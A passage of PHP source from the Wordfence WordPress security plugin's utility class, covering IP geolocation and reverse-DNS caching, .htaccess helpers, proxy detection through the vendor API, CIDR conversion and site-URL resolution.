else { $ip_printable = $IP; $ip_bin = wfUtils::inet_pton($IP); } $ipHex = wfDB::binaryValueToSQLHex($ip_bin); $row = $db->querySingleRec("select IP, ctime, failed, city, region, countryName, countryCode, lat, lon, unix_timestamp() - ctime as age from " . $locsTable . " where IP={$ipHex}"); if($row){ if($row['age'] > WORDFENCE_MAX_IPLOC_AGE){ $ipHex = wfDB::binaryValueToSQLHex($row['IP']); $db->queryWrite("delete from " . $locsTable . " where IP={$ipHex}"); } else { if($row['failed'] == 1){ $IPLocs[$ip_printable] = false; } else { $row['IP'] = self::inet_ntop($row['IP']); $row['region'] = wfUtils::shouldDisplayRegion($row['countryName']) ? $row['region'] : ''; $IPLocs[$ip_printable] = $row; } } } if(! isset($IPLocs[$ip_printable])){ $toResolve[] = $ip_printable; } } if(sizeof($toResolve) > 0){ if (wfConfig::get('enableRemoteIpLookup', true)) { $api = new wfAPI(wfConfig::get('apiKey'), wfUtils::getWPVersion()); try { $freshIPs = $api->call('resolve_ips', array(), array( 'ips' => implode(',', $toResolve) )); } catch(Exception $e){ wordfence::status(2, 'error', sprintf(/* translators: Error message. */ __("Call to Wordfence API to resolve IPs failed: %s", 'wordfence'), $e->getMessage())); return array(); } } else { require_once(__DIR__ . '/wfIpLocator.php'); $locator = wfIpLocator::getInstance(); $freshIPs = array(); $locale = get_locale(); foreach ($toResolve as $ip) { $record = $locator->locate($ip); if ($record !== null) { $countryCode = $record->getCountryCode(); if ($countryCode !== null) { $countryName = $record->getCountryName($locale); if ($countryName === null) $countryName = $countryCode; $freshIPs[$ip] = array($countryCode, $countryName); continue; } } $freshIPs[$ip] = 'failed'; } } if(is_array($freshIPs)){ foreach($freshIPs as $IP => $value){ $IP_bin = wfUtils::inet_pton($IP); $ipHex = wfDB::binaryValueToSQLHex($IP_bin); if($value == 'failed'){ $db->queryWrite("insert IGNORE into " . $locsTable . " (IP, ctime, failed) values ({$ipHex}, unix_timestamp(), 1)"); $IPLocs[$IP] = false; } else if(is_array($value)){ for($i = 0; $i <= 5; $i++){ //Prevent warnings in debug mode about uninitialized values if(! isset($value[$i])){ $value[$i] = ''; } } $db->queryWrite("insert IGNORE into " . $locsTable . " (IP, ctime, failed, city, region, countryName, countryCode, lat, lon) values ({$ipHex}, unix_timestamp(), 0, '%s', '%s', '%s', '%s', %s, %s)", $value[3], //city $value[2], //region $value[1], //countryName $value[0],//countryCode $value[4],//lat $value[5]//lon ); $IPLocs[$IP] = array( 'IP' => $IP, 'city' => $value[3], 'region' => wfUtils::shouldDisplayRegion($value[1]) ? $value[2] : '', 'countryName' => $value[1], 'countryCode' => $value[0], 'lat' => $value[4], 'lon' => $value[5] ); } } } } return $IPLocs; } public static function reverseLookup($IP) { static $_memoryCache = array(); if (isset($_memoryCache[$IP])) { return $_memoryCache[$IP]; } $db = new wfDB(); $reverseTable = wfDB::networkTable('wfReverseCache'); $IPn = wfUtils::inet_pton($IP); $ipHex = wfDB::binaryValueToSQLHex($IPn); $host = $db->querySingle("select host from " . $reverseTable . " where IP={$ipHex} and unix_timestamp() - lastUpdate < %d", WORDFENCE_REVERSE_LOOKUP_CACHE_TIME); if (!$host) { // This function works for IPv4 or IPv6 if (function_exists('gethostbyaddr')) { $host = @gethostbyaddr($IP); } if (!$host) { $ptr = false; if (filter_var($IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) { $ptr = implode(".", array_reverse(explode(".", $IP))) . ".in-addr.arpa"; } else if (filter_var($IP, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false) { $ptr = implode(".", array_reverse(str_split(bin2hex($IPn)))) . ".ip6.arpa"; } if ($ptr && function_exists('dns_get_record')) { $host = @dns_get_record($ptr, DNS_PTR); if ($host) { $host = $host[0]['target']; } } } $_memoryCache[$IP] = $host; if (!$host) { $host = 'NONE'; } $db->queryWrite("insert into " . $reverseTable . " (IP, host, lastUpdate) values ({$ipHex}, '%s', unix_timestamp()) ON DUPLICATE KEY UPDATE host='%s', lastUpdate=unix_timestamp()", $host, $host); } if ($host == 'NONE') { $_memoryCache[$IP] = ''; return ''; } else { $_memoryCache[$IP] = $host; return $host; } } public static function errorsOff(){ self::$lastErrorReporting = @ini_get('error_reporting'); @error_reporting(0); self::$lastDisplayErrors = @ini_get('display_errors'); self::iniSet('display_errors', 0); if(class_exists('wfScan')){ wfScan::$errorHandlingOn = false; } } public static function errorsOn(){ @error_reporting(self::$lastErrorReporting); self::iniSet('display_errors', self::$lastDisplayErrors); if(class_exists('wfScan')){ wfScan::$errorHandlingOn = true; } } //Note this function may report files that are too big which actually are not too big but are unseekable and throw an error on fseek(). But that's intentional public static function fileTooBig($file, &$size = false, &$handle = false){ //Deals with files > 2 gigs on 32 bit systems which are reported with the wrong size due to integer overflow if (!@is_file($file) || !@is_readable($file)) { return false; } //Only apply to readable files wfUtils::errorsOff(); $fh = @fopen($file, 'rb'); wfUtils::errorsOn(); if(! $fh){ return false; } try { if(@fseek($fh, WORDFENCE_MAX_FILE_SIZE_OFFSET, SEEK_SET) === 0 && !empty(fread($fh, 1))){ return true; } //Otherwise we couldn't seek there so it must be smaller if ($size !== false && @fseek($fh, 0, SEEK_END) === 0) { $size = @ftell($fh); if ($size === false) $size = 0; // Assume 0 if unable to determine file size } return false; } catch(Exception $e){ return true; //If we get an error don't scan this file, report it's too big. } finally { if ($handle === false) { fclose($fh); } else { $handle = $fh; } } } public static function fileOver2Gigs($file){ //Surround calls to this func with try/catch because fseek may throw error. $fh = @fopen($file, 'rb'); if(! $fh){ return false; } $offset = 2147483647; $tooBig = false; //My throw an error so surround calls to this func with try/catch if(@fseek($fh, $offset, SEEK_SET) === 0){ if(strlen(fread($fh, 1)) === 1){ $tooBig = true; } } //Otherwise we couldn't seek there so it must be smaller @fclose($fh); return $tooBig; } public static function countryCode2Name($code){ require(dirname(__FILE__) . '/wfBulkCountries.php'); /** @var array $wfBulkCountries */ if(isset($wfBulkCountries[$code])){ return $wfBulkCountries[$code]; } else { return ''; } } public static function shouldDisplayRegion($country) { $countries_to_show_for = array('united states', 'canada', 'australia'); return in_array(strtolower($country), $countries_to_show_for); } public static function extractBareURI($URL){ $URL = preg_replace('/^https?:\/\/[^\/]+/i', '', $URL); //strip of method and host $URL = preg_replace('/\#.*$/', '', $URL); //strip off fragment $URL = preg_replace('/\?.*$/', '', $URL); //strip off query string return $URL; } public static function requireIpLocator() { /** * This is also used in the WAF so in certain site setups (i.e. nested sites in subdirectories) * it's possible for this to already have been loaded from a different installation of the * plugin and hence require_once doesn't help as it's a different file path. There is no guarantee * that the two plugin installations are the same version, so should the wfIpLocator class or any * of its dependencies change in a manner that is not backwards compatible, this may need to be * handled differently. */ if (!class_exists('wfIpLocator')) require_once(__DIR__ . '/wfIpLocator.php'); } public static function IP2Country($ip){ self::requireIpLocator(); return wfIpLocator::getInstance()->getCountryCode($ip); } public static function geoIPVersion() { self::requireIpLocator(); $version = wfIpLocator::getInstance()->getDatabaseVersion(); return $version === null ? 0 : $version; } public static function siteURLRelative(){ if(is_multisite()){ $URL = network_site_url(); } else { $URL = site_url(); } $URL = preg_replace('/^https?:\/\/[^\/]+/i', '', $URL); $URL = rtrim($URL, '/') . '/'; return $URL; } public static function localHumanDate(){ return date('l jS \of F Y \a\t h:i:s A', time() + (3600 * get_option('gmt_offset'))); } public static function localHumanDateShort(){ return date('D jS F \@ h:i:sA', time() + (3600 * get_option('gmt_offset'))); } public static function funcEnabled($func){ if (!function_exists($func)){ return false; } if (!is_callable($func)) { return false; } $disabled = explode(',', ini_get('disable_functions')); if (in_array($func, $disabled)) { return false; } return true; } public static function iniSet($key, $val){ if(self::funcEnabled('ini_set')){ @ini_set($key, $val); } } public static function doNotCache(){ header("Pragma: no-cache"); header("Cache-Control: no-cache, must-revalidate, private, max-age=0"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); //In the past if(! defined('DONOTCACHEPAGE')){ define('DONOTCACHEPAGE', true); } if(! defined('DONOTCACHEDB')){ define('DONOTCACHEDB', true); } if(! defined('DONOTCDN')){ define('DONOTCDN', true); } if(! defined('DONOTCACHEOBJECT')){ define('DONOTCACHEOBJECT', true); } wfCache::doNotCache(); } public static function isUABlocked($uaPattern){ // takes a pattern using asterisks as wildcards, turns it into regex and checks it against the visitor UA returning true if blocked return fnmatch($uaPattern, !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '', FNM_CASEFOLD); } public static function isRefererBlocked($refPattern){ return fnmatch($refPattern, !empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', FNM_CASEFOLD); } public static function error_clear_last() { if (function_exists('error_clear_last')) { error_clear_last(); } else { // set error_get_last() to defined state by forcing an undefined variable error set_error_handler('wfUtils::_resetErrorsHandler', 0); @$undefinedVariable; restore_error_handler(); } } /** * Logs the error given or the last PHP error to our log, rate limiting if needed. * * @param string $limiter_key * @param string $label * @param null|string $error The error to log. If null, it will be the result of error_get_last * @param int $rate Logging will only occur once per $rate seconds. */ public static function check_and_log_last_error($limiter_key, $label, $error = null, $rate = 3600 /* 1 hour */) { if ($error === null) { $error = error_get_last(); if ($error === null) { return; } else if ($error['file'] === __FILE__) { return; } $error = $error['message']; } $rateKey = 'lastError_rate_' . $limiter_key; $previousKey = 'lastError_prev_' . $limiter_key; $previousError = wfConfig::getJSON($previousKey, array(0, false)); if ($previousError[1] != $error) { if (wfConfig::getInt($rateKey) < time() - $rate) { wfConfig::set($rateKey, time()); wfConfig::setJSON($previousKey, array(time(), $error)); wordfence::status(2, 'error', $label . ' ' . $error); } } } public static function last_error($limiter_key) { $previousKey = 'lastError_prev_' . $limiter_key; $previousError = wfConfig::getJSON($previousKey, array(0, false)); if ($previousError[1]) { return wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), $previousError[0]) . ': ' . $previousError[1]; } return false; } public static function _resetErrorsHandler($errno, $errstr, $errfile, $errline) { //Do nothing } /** * @param $startIP * @param $endIP * @return array */ public static function rangeToCIDRs($startIP, $endIP){ $start_ip_printable = wfUtils::inet_ntop($startIP); if (filter_var($start_ip_printable, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { return self::rangeToCIDRsIPv4(current(unpack('N', substr($startIP, 12, 4))), current(unpack('N', substr($endIP, 12, 4)))); } $startIPBin = str_pad(wfHelperBin::bin2str($startIP), 128, '0', STR_PAD_LEFT); $endIPBin = str_pad(wfHelperBin::bin2str($endIP), 128, '0', STR_PAD_LEFT); $IPIncBin = $startIPBin; $CIDRs = array(); while (strcmp($IPIncBin, $endIPBin) <= 0) { $longNetwork = 128; $IPNetBin = $IPIncBin; while (($IPIncBin[$longNetwork - 1] == '0') && (strcmp(substr_replace($IPNetBin, '1', $longNetwork - 1, 1), $endIPBin) <= 0)) { $IPNetBin[$longNetwork - 1] = '1'; $longNetwork--; } $CIDRs[] = self::inet_ntop(str_pad(wfHelperBin::str2bin($IPIncBin), 16, "\x00", STR_PAD_LEFT)) . ($longNetwork < 128 ? '/' . $longNetwork : ''); $IPIncBin = str_pad(wfHelperBin::bin2str(wfHelperBin::addbin2bin(chr(1), wfHelperBin::str2bin($IPNetBin))), 128, '0', STR_PAD_LEFT); } return $CIDRs; } public static function rangeToCIDRsIPv4($startIP, $endIP){ $startIPBin = sprintf('%032b', $startIP); $endIPBin = sprintf('%032b', $endIP); $IPIncBin = $startIPBin; $CIDRs = array(); while(strcmp($IPIncBin, $endIPBin) <= 0){ $longNetwork = 32; $IPNetBin = $IPIncBin; while(($IPIncBin[$longNetwork - 1] == '0') && (strcmp(substr_replace($IPNetBin, '1', $longNetwork - 1, 1), $endIPBin) <= 0)){ $IPNetBin[$longNetwork - 1] = '1'; $longNetwork--; } $CIDRs[] = long2ip(bindec($IPIncBin)) . ($longNetwork < 32 ? '/' . $longNetwork : ''); $IPIncBin = sprintf('%032b', bindec($IPNetBin) + 1); } return $CIDRs; } /** * This is a convenience function for sending a JSON response and ensuring that execution stops after sending * since wp_die() can be interrupted. * * @param $response * @param int|null $status_code */ public static function send_json($response, $status_code = null) { wp_send_json($response, $status_code); die(); } public static function setcookie($name, $value, $expire, $path, $domain, $secure, $httpOnly){ if(version_compare(PHP_VERSION, '5.2.0') >= 0){ @setcookie($name, $value, $expire, $path, $domain, $secure, $httpOnly); } else { @setcookie($name, $value, $expire, $path); } } public static function isNginx(){ $sapi = php_sapi_name(); $serverSoft = $_SERVER['SERVER_SOFTWARE']; if($sapi == 'fpm-fcgi' && stripos($serverSoft, 'nginx') !== false){ return true; } } public static function getLastError(){ $err = error_get_last(); if(is_array($err)){ return $err['message']; } return ''; } public static function hostNotExcludedFromProxy($url){ if(! defined('WP_PROXY_BYPASS_HOSTS')){ return true; //No hosts are excluded } $hosts = explode(',', WP_PROXY_BYPASS_HOSTS); $url = preg_replace('/^https?:\/\//i', '', $url); $url = preg_replace('/\/.*$/', '', $url); $url = strtolower($url); foreach($hosts as $h){ if(strtolower(trim($h)) == $url){ return false; } } return true; } public static function hasXSS($URL){ if(! preg_match('/^https?:\/\/[a-z0-9\.\-]+\/[^\':<>\"\\\]*$/i', $URL)){ return true; } else { return false; } } /** * @param string $host * @return array */ public static function resolveDomainName($host, $ipVersion = null) { if (!function_exists('dns_get_record')) { if ($ipVersion === 4 || $ipVersion === null) { $ips = gethostbynamel($host); if ($ips !== false) return $ips; } return array(); } $recordTypes = array(); if ($ipVersion === 4 || $ipVersion === null) $recordTypes[DNS_A] = 'ip'; if ($ipVersion === 6 || $ipVersion === null) $recordTypes[DNS_AAAA] = 'ipv6'; $ips = array(); foreach ($recordTypes as $type => $key) { $records = @dns_get_record($host, $type); if ($records !== false) { foreach ($records as $record) { $ips[] = $record[$key]; } } } return $ips; } /** * Expand a compressed printable representation of an IPv6 address. * * @param string $ip * @return string */ public static function expandIPv6Address($ip) { $hex = bin2hex(self::inet_pton($ip)); $ip = substr(preg_replace("/([a-f0-9]{4})/i", "$1:", $hex), 0, -1); return $ip; } public static function set_html_content_type() { return 'text/html'; } public static function htmlEmail($to, $subject, $body) { add_filter( 'wp_mail_content_type', 'wfUtils::set_html_content_type' ); $result = wp_mail($to, $subject, $body); remove_filter( 'wp_mail_content_type', 'wfUtils::set_html_content_type' ); return $result; } /** * @param string $readmePath * @return bool */ public static function hideReadme($readmePath = null) { if ($readmePath === null) { $readmePath = ABSPATH . 'readme.html'; } if (file_exists($readmePath)) { $readmePathInfo = pathinfo($readmePath); require_once(ABSPATH . WPINC . '/pluggable.php'); $hiddenReadmeFile = $readmePathInfo['filename'] . '.' . wp_hash('readme') . '.' . $readmePathInfo['extension']; return @rename($readmePath, $readmePathInfo['dirname'] . '/' . $hiddenReadmeFile); } return false; } /** * @param string $readmePath * @return bool */ public static function showReadme($readmePath = null) { if ($readmePath === null) { $readmePath = ABSPATH . 'readme.html'; } $readmePathInfo = pathinfo($readmePath); require_once(ABSPATH . WPINC . '/pluggable.php'); $hiddenReadmeFile = $readmePathInfo['dirname'] . '/' . $readmePathInfo['filename'] . '.' . wp_hash('readme') . '.' . $readmePathInfo['extension']; if (file_exists($hiddenReadmeFile)) { return @rename($hiddenReadmeFile, $readmePath); } return false; } public static function htaccessAppend($code) { $htaccess = wfCache::getHtaccessPath(); $content = self::htaccess(); if (wfUtils::isNginx() || !is_writable($htaccess)) { return false; } if (strpos($content, $code) === false) { // make sure we write this once file_put_contents($htaccess, $content . "\n" . trim($code), LOCK_EX); } return true; } public static function htaccessPrepend($code) { $htaccess = wfCache::getHtaccessPath(); $content = self::htaccess(); if (wfUtils::isNginx() || !is_writable($htaccess)) { return false; } if (strpos($content, $code) === false) { // make sure we write this once file_put_contents($htaccess, trim($code) . "\n" . $content, LOCK_EX); } return true; } public static function htaccess() { $htaccess = wfCache::getHtaccessPath(); if (is_readable($htaccess) && !wfUtils::isNginx()) { return file_get_contents($htaccess); } return ""; } /** * @param array $array * @param mixed $oldKey * @param mixed $newKey * @return array * @throws Exception */ public static function arrayReplaceKey($array, $oldKey, $newKey) { $keys = array_keys($array); if (($index = array_search($oldKey, $keys)) === false) { throw new Exception(sprintf('Key "%s" does not exist', $oldKey)); } $keys[$index] = $newKey; return array_combine($keys, array_values($array)); } /** * Takes a string that may have characters that will be interpreted as invalid UTF-8 byte sequences and translates them into a string of the equivalent hex sequence. * * @param $string * @param bool $inline * @return string */ public static function potentialBinaryStringToHTML($string, $inline = false, $allowmb4 = false) { $output = ''; if (!defined('ENT_SUBSTITUTE')) { define('ENT_SUBSTITUTE', 0); } $span = ''; if ($inline) { $span = ''; } for ($i = 0; $i < wfUtils::strlen($string); $i++) { $c = $string[$i]; $b = ord($c); if ($b < 0x20) { $output .= $span . '\x' . str_pad(dechex($b), 2, '0', STR_PAD_LEFT) . ''; } else if ($b < 0x80) { $output .= htmlspecialchars($c, ENT_QUOTES, 'ISO-8859-1'); } else { //Assume multi-byte UTF-8 $bytes = 0; $test = $b; while (($test & 0x80) > 0) { $bytes++; $test = (($test << 1) & 0xff); } $brokenUTF8 = ($i + $bytes > wfUtils::strlen($string) || $bytes == 1); if (!$brokenUTF8) { //Make sure we have all the bytes for ($n = 1; $n < $bytes; $n++) { $c2 = $string[$i + $n]; $b2 = ord($c2); if (($b2 & 0xc0) != 0x80) { $brokenUTF8 = true; $bytes = $n; break; } } } if (!$brokenUTF8) { //Ensure the byte sequences are within the accepted ranges: https://tools.ietf.org/html/rfc3629 /* * UTF8-octets = *( UTF8-char ) * UTF8-char = UTF8-1 / UTF8-2 / UTF8-3 / UTF8-4 * UTF8-1 = %x00-7F * UTF8-2 = %xC2-DF UTF8-tail * UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / * %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) * UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / * %xF4 %x80-8F 2( UTF8-tail ) * UTF8-tail = %x80-BF */ $testString = wfUtils::substr($string, $i, $bytes); $regex = '/^(?:' . '[\xc2-\xdf][\x80-\xbf]' . //UTF8-2 '|' . '\xe0[\xa0-\xbf][\x80-\xbf]' . //UTF8-3 '|' . '[\xe1-\xec][\x80-\xbf]{2}' . '|' . '\xed[\x80-\x9f][\x80-\xbf]' . '|' . '[\xee-\xef][\x80-\xbf]{2}'; if ($allowmb4) { $regex .= '|' . '\xf0[\x90-\xbf][\x80-\xbf]{2}' . //UTF8-4 '|' . '[\xf1-\xf3][\x80-\xbf]{3}' . '|' . '\xf4[\x80-\x8f][\x80-\xbf]{2}'; } $regex .= ')$/'; if (!preg_match($regex, $testString)) { $brokenUTF8 = true; } } if ($brokenUTF8) { $bytes = min($bytes, strlen($string) - $i); for ($n = 0; $n < $bytes; $n++) { $c2 = $string[$i + $n]; $b2 = ord($c2); $output .= $span . '\x' . str_pad(dechex($b2), 2, '0', STR_PAD_LEFT) . ''; } $i += ($bytes - 1); } else { $output .= htmlspecialchars(wfUtils::substr($string, $i, $bytes), ENT_QUOTES | ENT_SUBSTITUTE, 'ISO-8859-1'); $i += ($bytes - 1); } } } return $output; } public static function requestDetectProxyCallback($timeout = 2, $blocking = true, $forceCheck = false) { $currentRecommendation = wfConfig::get('detectProxyRecommendation', ''); if (!$forceCheck) { $detectProxyNextCheck = wfConfig::get('detectProxyNextCheck', false); if ($detectProxyNextCheck !== false && time() < $detectProxyNextCheck) { if (empty($currentRecommendation)) { wfConfig::set('detectProxyRecommendation', 'DEFERRED', wfConfig::DONT_AUTOLOAD); } return; //Let it pull the currently-stored value } } try { $waf = wfWAF::getInstance(); if ($waf->getStorageEngine()->getConfig('attackDataKey', false) === false) { $waf->getStorageEngine()->setConfig('attackDataKey', mt_rand(0, 0xfff)); } $response = wp_remote_get(sprintf(WFWAF_API_URL_SEC . "proxy-check/%d.txt", $waf->getStorageEngine()->getConfig('attackDataKey')), array('headers' => array('Referer' => false))); if (!is_wp_error($response)) { $okToSendBody = wp_remote_retrieve_body($response); if (preg_match('/^(ok|wait),\s*(\d+)$/i', $okToSendBody, $matches)) { $command = $matches[1]; $ttl = $matches[2]; if ($command == 'wait') { wfConfig::set('detectProxyNextCheck', time() + $ttl, wfConfig::DONT_AUTOLOAD); if (empty($currentRecommendation) || $currentRecommendation == 'UNKNOWN') { wfConfig::set('detectProxyRecommendation', 'DEFERRED', wfConfig::DONT_AUTOLOAD); } return; } wfConfig::set('detectProxyNextCheck', time() + $ttl, wfConfig::DONT_AUTOLOAD); } else { //Unknown response wfConfig::set('detectProxyNextCheck', false, wfConfig::DONT_AUTOLOAD); if (empty($currentRecommendation) || $currentRecommendation == 'UNKNOWN') { wfConfig::set('detectProxyRecommendation', 'DEFERRED', wfConfig::DONT_AUTOLOAD); } return; } } } catch (Exception $e) { return; } $nonce = bin2hex(wfWAFUtils::random_bytes(32)); $callback = self::getSiteBaseURL() . '?_wfsf=detectProxy'; wfConfig::set('detectProxyNonce', $nonce, wfConfig::DONT_AUTOLOAD); wfConfig::set('detectProxyRecommendation', '', wfConfig::DONT_AUTOLOAD); $payload = array( 'nonce' => $nonce, 'callback' => $callback, ); $homeurl = wfUtils::wpHomeURL(); $siteurl = wfUtils::wpSiteURL(); try { $response = wp_remote_post(WFWAF_API_URL_SEC . "?" . http_build_query(array( 'action' => 'detect_proxy', 'k' => wfConfig::get('apiKey'), 's' => $siteurl, 'h' => $homeurl, 't' => microtime(true), 'lang' => get_site_option('WPLANG'), ), '', '&'), array( 'body' => json_encode($payload), 'headers' => array( 'Content-Type' => 'application/json', 'Referer' => false, ), 'timeout' => $timeout, 'blocking' => $blocking, )); if (!is_wp_error($response)) { $jsonResponse = wp_remote_retrieve_body($response); $decoded = @json_decode($jsonResponse, true); if (is_array($decoded) && isset($decoded['data']) && is_array($decoded['data']) && isset($decoded['data']['ip']) && wfUtils::isValidIP($decoded['data']['ip'])) { wfConfig::set('serverIP', time() . ';' . $decoded['data']['ip']); } } } catch (Exception $e) { return; } } /** * @return bool Returns false if the payload is invalid, true if it processed the callback (even if the IP wasn't found). */ public static function processDetectProxyCallback() { $nonce = wfConfig::get('detectProxyNonce', ''); $testNonce = (isset($_POST['nonce']) ? $_POST['nonce'] : ''); if (empty($nonce) || empty($testNonce)) { return false; } if (!hash_equals($nonce, $testNonce)) { return false; } $ips = (isset($_POST['ips']) ? $_POST['ips'] : array()); if (empty($ips)) { return false; } $expandedIPs = array(); foreach ($ips as $ip) { $expandedIPs[] = self::inet_pton($ip); } $checks = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR', 'HTTP_X_FORWARDED_FOR'); foreach ($checks as $key) { if (!isset($_SERVER[$key])) { continue; } $testIP = self::getCleanIPAndServerVar(array(array($_SERVER[$key], $key))); if ($testIP === false) { continue; } $testIP = self::inet_pton($testIP[0]); if (in_array($testIP, $expandedIPs)) { wfConfig::set('detectProxyRecommendation', $key, wfConfig::DONT_AUTOLOAD); wfConfig::set('detectProxyNonce', '', wfConfig::DONT_AUTOLOAD); return true; } } wfConfig::set('detectProxyRecommendation', 'UNKNOWN', wfConfig::DONT_AUTOLOAD); wfConfig::set('detectProxyNonce', '', wfConfig::DONT_AUTOLOAD); return true; } /** * Returns a v4 UUID. * * @return string */ public static function uuid() { return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', // 32 bits for "time_low" wfWAFUtils::random_int(0, 0xffff), wfWAFUtils::random_int(0, 0xffff), // 16 bits for "time_mid" wfWAFUtils::random_int(0, 0xffff), // 16 bits for "time_hi_and_version", // four most significant bits holds version number 4 wfWAFUtils::random_int(0, 0x0fff) | 0x4000, // 16 bits, 8 bits for "clk_seq_hi_res", // 8 bits for "clk_seq_low", // two most significant bits holds zero and one for variant DCE1.1 wfWAFUtils::random_int(0, 0x3fff) | 0x8000, // 48 bits for "node" wfWAFUtils::random_int(0, 0xffff), wfWAFUtils::random_int(0, 0xffff), wfWAFUtils::random_int(0, 0xffff) ); } public static function base32_encode($rawString, $rightPadFinalBits = false, $padFinalGroup = false, $padCharacter = '=') //Adapted from https://github.com/ademarre/binary-to-text-php { // Unpack string into an array of bytes $bytes = unpack('C*', $rawString); $byteCount = count($bytes); $encodedString = ''; $byte = array_shift($bytes); $bitsRead = 0; $oldBits = 0; $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'; $bitsPerCharacter = 5; $charsPerByte = 8 / $bitsPerCharacter; $encodedLength = $byteCount * $charsPerByte; // Generate encoded output; each loop produces one encoded character for ($c = 0; $c < $encodedLength; $c++) { // Get the bits needed for this encoded character if ($bitsRead + $bitsPerCharacter > 8) { // Not enough bits remain in this byte for the current character // Save the remaining bits before getting the next byte $oldBitCount = 8 - $bitsRead; $oldBits = $byte ^ ($byte >> $oldBitCount << $oldBitCount); $newBitCount = $bitsPerCharacter - $oldBitCount; if (!$bytes) { // Last bits; match final character and exit loop if ($rightPadFinalBits) $oldBits <<= $newBitCount; $encodedString .= $chars[$oldBits]; if ($padFinalGroup) { // Array of the lowest common multiples of $bitsPerCharacter and 8, divided by 8 $lcmMap = array(1 => 1, 2 => 1, 3 => 3, 4 => 1, 5 => 5, 6 => 3, 7 => 7, 8 => 1); $bytesPerGroup = $lcmMap[$bitsPerCharacter]; $pads = $bytesPerGroup * $charsPerByte - ceil((strlen($rawString) % $bytesPerGroup) * $charsPerByte); $encodedString .= str_repeat($padCharacter, $pads); } break; } // Get next byte $byte = array_shift($bytes); $bitsRead = 0; } else { $oldBitCount = 0; $newBitCount = $bitsPerCharacter; } // Read only the needed bits from this byte $bits = $byte >> 8 - ($bitsRead + ($newBitCount)); $bits ^= $bits >> $newBitCount << $newBitCount; $bitsRead += $newBitCount; if ($oldBitCount) { // Bits come from seperate bytes, add $oldBits to $bits $bits = ($oldBits << $newBitCount) | $bits; } $encodedString .= $chars[$bits]; } return $encodedString; } private static function _home_url_nofilter($path = '', $scheme = null) { //A version of the native get_home_url and get_option without the filter calls global $pagenow, $wpdb, $blog_id; static $cached_url = null; if ($cached_url !== null) { return $cached_url; } if (defined('WP_HOME') && WORDFENCE_PREFER_WP_HOME_FOR_WPML) { $cached_url = WP_HOME; return $cached_url; } if ( empty( $blog_id ) || !is_multisite() ) { $url = $wpdb->get_var("SELECT option_value FROM {$wpdb->options} WHERE option_name = 'home' LIMIT 1"); if (empty($url)) { //get_option uses siteurl instead if home is empty $url = $wpdb->get_var("SELECT option_value FROM {$wpdb->options} WHERE option_name = 'siteurl' LIMIT 1"); } } else if (is_multisite()) { $current_network = get_network(); if ( 'relative' == $scheme ) $url = rtrim($current_network->path, '/'); else $url = 'http://' . rtrim($current_network->domain, '/') . '/' . trim($current_network->path, '/'); } if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) { if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow ) $scheme = 'https'; else $scheme = parse_url( $url, PHP_URL_SCHEME ); } $url = set_url_scheme( $url, $scheme ); if ( $path && is_string( $path ) ) $url .= '/' . ltrim( $path, '/' ); $cached_url = $url; return $url; } public static function refreshCachedHomeURL() { $pullDirectly = class_exists('WPML_URL_Filters'); $homeurl = ''; if ($pullDirectly) { //A version of the native get_home_url without the filter call $homeurl = self::_home_url_nofilter(); } if (function_exists('get_bloginfo') && empty($homeurl)) { if (is_multisite()) { $homeurl = network_home_url(); } else { $homeurl = home_url(); } $homeurl = rtrim($homeurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char. } if (wfConfig::get('wp_home_url') !== $homeurl) { wfConfig::set('wp_home_url', $homeurl); } } public static function wpHomeURL($path = '', $scheme = null) { $homeurl = wfConfig::get('wp_home_url', ''); if (function_exists('get_bloginfo') && empty($homeurl)) { if (is_multisite()) { $homeurl = network_home_url($path, $scheme); } else { $homeurl = home_url($path, $scheme); } $homeurl = rtrim($homeurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char. } else { $homeurl = set_url_scheme($homeurl, $scheme); if ($path && is_string($path)) { $homeurl .= '/' . ltrim($path, '/'); } } return $homeurl; } private static function _site_url_nofilter($path = '', $scheme = null) { //A version of the native get_site_url and get_option without the filter calls global $pagenow, $wpdb, $blog_id; static $cached_url = null; if ($cached_url !== null) { return $cached_url; } if (defined('WP_SITEURL') && WORDFENCE_PREFER_WP_HOME_FOR_WPML) { $cached_url = WP_SITEURL; return $cached_url; } if ( empty( $blog_id ) || !is_multisite() ) { $url = $wpdb->get_var("SELECT option_value FROM {$wpdb->options} WHERE option_name = 'siteurl' LIMIT 1"); } else if (is_multisite()) { $current_network = get_network(); if ( 'relative' == $scheme ) $url = rtrim($current_network->path, '/'); else $url = 'http://' . rtrim($current_network->domain, '/') . '/' . trim($current_network->path, '/'); } if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) { if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow ) $scheme = 'https'; else $scheme = parse_url( $url, PHP_URL_SCHEME ); } $url = set_url_scheme( $url, $scheme ); if ( $path && is_string( $path ) ) $url .= '/' . ltrim( $path, '/' ); $cached_url = $url; return $url; } public static function refreshCachedSiteURL() { $pullDirectly = class_exists('WPML_URL_Filters'); $siteurl = ''; if ($pullDirectly) { //A version of the native get_home_url without the filter call $siteurl = self::_site_url_nofilter(); } if (function_exists('get_bloginfo') && empty($siteurl)) { if (is_multisite()) { $siteurl = network_site_url(); } else { $siteurl = site_url(); } $siteurl = rtrim($siteurl, '/'); //Because previously we used get_bloginfo and it returns http://example.com without a '/' char. } if (wfConfig::get('wp_site_url') !== $siteurl) { wfConfig::set('wp_site_url', $siteurl); } } /** * Equivalent to network_site_url but uses the cached value for the URL if we have it * to avoid breaking on sites that define it 